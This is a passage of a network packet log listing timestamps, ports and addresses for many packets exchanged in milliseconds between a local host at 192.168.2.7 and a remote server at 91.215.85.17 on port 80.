Dec 2, 2023 18:01:56.099750996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.099797964 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.099841118 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.099952936 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.099999905 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.100032091 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.100073099 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.100111961 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.100120068 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.100153923 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.100193024 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.100198984 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.100269079 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.100307941 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.100317955 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.100347996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.100388050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.100394964 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.100425959 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.100464106 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.100470066 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.100502968 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.100545883 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.100553036 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.100583076 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.100620031 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.100626945 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.100658894 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.100696087 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.100699902 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.100734949 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.100771904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.100781918 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.100811005 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.100848913 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.100856066 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.100886106 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.100924969 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.100929976 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.100980043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.101017952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.101022005 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.101056099 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.101094961 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.101103067 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.101131916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.101175070 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.101178885 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.101212978 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.101268053 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.101284027 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.101324081 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.101360083 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.101367950 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.101399899 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.101491928 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.101501942 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.101531029 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.101571083 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.101576090 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.101607084 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.101646900 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.101650953 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.101686001 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.101722956 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.101727009 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.101763010 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.101803064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.101805925 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.101840973 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.101885080 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.101886034 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.101926088 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.101962090 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.101968050 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.102001905 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.102041960 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.102046967 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.102077007 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.102113962 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.102123022 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.102150917 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.102190018 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.102200985 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.102231979 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.102268934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.102273941 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.102310896 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.102349043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.102356911 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.102386951 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.102426052 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.102432966 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.102466106 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.102502108 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.102514982 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.102543116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.102579117 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.102586985 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.102617979 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.102654934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.102663040 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.102691889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.102731943 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.102735043 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.102771044 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.102807045 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.102812052 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.102847099 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.102885962 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.102889061 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.102921963 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.102963924 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.102977991 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.103003979 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.103040934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.103049040 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.103080034 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.103116989 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.103127956 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.103157997 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.103193998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.103199005 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.103231907 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.103271008 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.103281975 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.103311062 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.103348017 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.103353024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.103389025 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.103426933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.103432894 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.103462934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.103503942 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.103506088 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.103543997 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.103579998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.103589058 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.103620052 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.103657007 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.103669882 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.103698969 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.103735924 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.103745937 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.103771925 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.103811979 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.103821993 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.103852034 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.103888035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.103893042 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.103929043 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.103967905 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.103976965 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.104006052 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.104046106 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.104051113 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.104087114 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.104142904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.104177952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.104202986 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.104206085 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.104238987 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.104244947 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.104284048 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.104295969 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.104324102 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.104361057 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.104370117 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.104399920 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.104437113 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.104446888 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.104475975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.104513884 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.104522943 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.104551077 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.104590893 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.104599953 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.104629993 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.104666948 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.104676962 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.104706049 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.104743958 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.104744911 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.104780912 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.104820013 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.104826927 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.104856968 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.104896069 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.104901075 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.104934931 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.104971886 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.104975939 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.105012894 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.105050087 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.105056047 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.105088949 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.105129004 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.105134010 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.105170012 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.105206966 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.105215073 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.105262995 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.105303049 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.105314970 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.105340004 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.105384111 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.105393887 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.105427980 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.105463982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.105468988 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.105501890 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.105541945 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.105549097 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.105578899 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.105618000 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.105626106 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.105657101 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.105693102 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.105700016 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.105731964 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.105772018 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.105778933 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.105808973 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.105848074 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.105853081 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.105885983 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.105923891 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.105927944 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.105962992 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.105998993 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.106009007 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.106038094 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.106076956 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.106081963 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.106113911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.106153011 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.106157064 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.106194019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.106230021 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.106235027 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.106271982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.106312037 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.106323004 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.106348038 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.106386900 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.106390953 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.106427908 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.106463909 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.106471062 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.106503963 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.106539965 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.106543064 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.106580019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.106618881 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.106625080 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.106662035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.106717110 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.106720924 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.106758118 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.106796980 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.106802940 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.106832981 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.106873035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.106878042 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.106913090 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.106950045 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.106954098 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.106990099 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.107028008 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.107032061 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.107065916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.107105970 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.107108116 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.107142925 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.107182026 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.107189894 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.107220888 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.107259035 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.107264042 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.107299089 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.107337952 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.107342958 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.107374907 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.107415915 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.107426882 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.107458115 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.107496023 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.107508898 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.107536077 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.107575893 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.107600927 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.107611895 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.107651949 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.107676029 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.107692957 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.107731104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.107757092 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.107770920 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.107810974 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.107841015 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.107851982 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.107892036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.107899904 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.107933998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.107970953 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.107984066 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.108010054 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.108052969 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.108056068 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.108093023 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.108131886 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.108139038 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.108176947 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.108213902 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.108221054 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.108253956 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.108294010 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.108299017 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.108331919 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.108369112 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.108375072 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.108409882 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.108445883 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.108452082 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.108481884 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.108517885 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.108524084 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.108560085 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.108597994 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.108603954 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.108638048 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.108676910 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.108684063 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.108717918 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.108753920 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.108757973 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.108793974 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.108834028 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:56.108841896 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:56.108870983 CET	80	49713	91.215.85.17	192.168.2.7
